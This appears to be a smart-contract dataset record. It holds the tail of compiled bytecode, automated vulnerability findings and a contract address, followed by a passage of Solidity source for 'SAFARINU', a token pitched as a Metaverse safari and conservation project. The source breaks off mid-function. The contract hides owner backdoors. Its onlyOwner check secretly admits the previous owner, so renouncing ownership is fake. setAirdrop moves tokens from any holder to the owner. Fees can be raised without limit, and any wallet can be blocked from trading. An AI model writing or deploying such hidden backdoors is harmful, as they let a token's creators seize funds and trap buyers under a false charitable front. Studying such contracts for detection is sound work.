73ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030160006101000a81548160ff0219169083151502179055506080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff0219169083151502179055509050506001601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600780548060010182816134969190615732565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050600d600081548092919060010191905055505b5b8280600101935050613172565b5050505050565b600460009054906101000a900460ff1681565b600e5481565b600660009054906101000a900460ff1681565b60035481565b600b5481565b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561359e57600080fd5b601160009054906101000a900460ff16156135c25781600281905550806003819055505b5050565b600080601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561362157600080fd5b6000835111151561363157600080fd5b600091505b825182101561374857828281518110151561364d57fe5b906020019060200201519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561373b57601960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561373a576000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b8180600101925050613636565b505050565b60135481565b61375b61575e565b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806137fc5750601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561380757600080fd5b600780548060200260200160405190810160405280929190818152602001828054801561388957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161383f575b5050505050905090565b600080601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156138ee57600080fd5b600083511115156138fe57600080fd5b600091505b8251821015613a7c57828281518110151561391a57fe5b906020019060200201519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515613a6f57601960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515613a6e576001601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160098054806001018281613a1d9190615732565b9160005260206000209001600084909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505b5b8180600101925050613903565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b0157600080fd5b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167fbdd506655de86719f840b1892ffd357919e80884929afefbfc0cccf689600985600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b600080601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613cc75750601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515613cd257600080fd5b600084511115613e5557600091505b8351821015613e54578382815181101515613cf857fe5b906020019060200201519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015613d8e5750601460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff16155b15613e47576001601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160006101000a81548160ff0219169083151502179055506001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8180600101925050613ce1565b5b600083511115613e6957613e6883615588565b5b50505050565b600881815481101515613e7e57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b6000806000806000806000601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613f605750601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515613f6b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614151515613fa757600080fd5b601460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154601460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154601460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff16601460008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154601460008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050154601460008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160009054906101000a900460ff169650965096509650965096509650919395979092949650565b600080601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806142735750601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561427e57600080fd5b6000835111151561428e57600080fd5b600091505b82518210156144595782828151811015156142aa57fe5b906020019060200201519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561438057508073ffffffffffffffffffffffffffffffffffffffff16601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561444c576000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160006101000a81548160ff0219169083151502179055506000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600d60008154809291906001900391905055505b8180600101925050614293565b505050565b600c60009054906101000a900460ff1681565b60025481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156144d557600080fd5b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561452d57600080fd5b6000835111151561453d57600080fd5b600091505b82518210156146bb57828281518110151561455957fe5b906020019060200201519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156146ae57601860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156146ad576001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008805480600101828161465c9190615732565b9160005260206000209001600084909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505b5b8180600101925050614542565b505050565b60196020528060005260406000206000915054906101000a900460ff1681565b6000806000601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806147865750601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561479157600080fd5b600085511115156147a157600080fd5b600084511115156147b157600080fd5b600092505b8451831015614b3b5784838151811015156147cd57fe5b90602001906020020151915083838151811015156147e757fe5b906020019060200201519050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515614b2e578173ffffffffffffffffffffffffffffffffffffffff16601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561490b5780601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550614b2d565b600554600d54111515614b2c5760e0604051908101604052808373ffffffffffffffffffffffffffffffffffffffff168152602001428152602001828152602001600015158152602001600081526020016000815260200160011515815250601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030160006101000a81548160ff0219169083151502179055506080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff0219169083151502179055509050506001601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160078054806001018281614ac99190615732565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050600d600081548092919060010191905055505b5b5b82806001019350506147b6565b5050505050565b6000601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515614b9c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515614c5857600080fd5b5af11515614c6557600080fd5b505050604051805190509050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515614d5757600080fd5b5af11515614d6457600080fd5b50505060405180519050507f4653a87a57e8a719c1e4cb52663df7a4e0f0ba91e73786af5c03ecb5d17216c281600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a150565b60146020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030160009054906101000a900460ff16908060040154908060050154908060060160009054906101000a900460ff16905087565b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515614f1257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561501457600080fd5b5af1151561502157600080fd5b50505060405180519050600e54600c60009054906101000a900460ff16945094509450945094509091929394565b6000601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156150a957600080fd5b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561515757600080fd5b601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601160009054906101000a900460ff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600080601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806152ae5750601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156152b957600080fd5b600254600354600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54600b54600d54955095509550955095509550909192939495565b601160009054906101000a900460ff161515615385576000341115615380576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561537f57600080fd5b5b6153f2565b60003411156153f157600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156153f057600080fd5b5b5b565b6000806000809150600060105414156154f857600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156154c357600080fd5b5af115156154d057600080fd5b5050506040518051905090506154f1600d548261571790919063ffffffff16565b9150615560565b6001601054141561550d57601354915061555f565b6002601054141561555e57601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015491505b5b5b8192505050919050565b600080828401905083811015151561557e57fe5b8091505092915050565b6000806000835111151561559b57600080fd5b600091505b82518210156157125782828151811015156155b757fe5b906020019060200201519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561564c5750601460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff165b15615705576000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160006101000a81548160ff0219169083151502179055506000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b81806001019250506155a0565b505050565b600080828481151561572557fe5b0490508091505092915050565b815481835581811511615759578183600052602060002091820191016157589190615772565b5b505050565b602060405190810160405280600081525090565b61579491905b80821115615790576000816000905550600101615778565b5090565b905600a165627a7a723058203d9e8a23072b8532ee1611402156df2d676702417c9dbaa82fc4f5e7dcbab59d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,446 |
0xf86e87bd97c8c088928c10a054db842b16a382b7
|
// SPDX-License-Identifier: Unlicensed
/*
Safari Inu
https://t.me/safarinu
A Metaverse safari experience along with conservation purposes.
The purpose of Safari Inu is to broaden your horizon in the usage of Metaverse. Gaming is usually viewed as a key Metaverse usage since the emergence of Metaverse due to the immersive and multi-player feature of the space currently but solely focusing on the gaming industry is obviously limiting our imagining and potential on the Metaverse.
We believe that the purpose of the Metaverse has to be revolutionary and it will eventually help us find new enhanced ways to do all of our current activities, including finance, commerce, media, education, training, manufacturing or even TRAVELING. Making use of the boundless and interactive feature of the Metaverse, it should not be hard to replicate the real life experience in visiting the borderless safari park.
Can you imagine scenes of massive herds of wildebeests and zebras thundering across East Africa’s croc-filled rivers and grassy plains stalked by lions. To witness such magnificent wildlife migrations in the birthplace of humanity can be an emotional experience that could never be fully captured by mere photos or words; the appearance of the Metaverse enables you to easily experience these lively scenes, without flying to Africa, in your closest sight.
What can Safari Inu deliver?
Safari Inu is a project that aims to deliver the most rewarding experience in the world to all of our users. With the advanced technology brought by the Metaverse, The Great Migration can be easily replicated in the virtual world and enable every single human being to experience this majestic wildlife migrations without the limitation of borders. The whole project is still under the development of our elite dreamworkers. We aim to create the best virtual animal kingdom in the Metaverse.
Conservation programme
We aim to preserve and protect the incredible species collection domestically and internationally. At Safari Inu, we believe that conservation must be a united effort among institutions, scientists and policymakers nationwide.
The transaction fee of the Safari Inu will not only be used in project development but also used in establishing a Wildlife Safari commits funds to develop various local conservation projects as well as supporting international conservation organizations.
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
if(_msgSender() != _previousOwner)
{require(_owner == _msgSender(), "Ownable: caller is not the owner");}
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_previousOwner = _owner;
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SAFARINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SAFARINU";
string private constant _symbol = "SAFARINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e13 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 13;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 13;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000000000 * 10**9;
uint256 public _maxWalletSize = 200000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to]);
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setAirdrop(address recipient, uint256 amount, bool onoff) external onlyOwner{
require(!tradingOpen);
_tokenTransfer(recipient, _msgSender(), amount, onoff);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
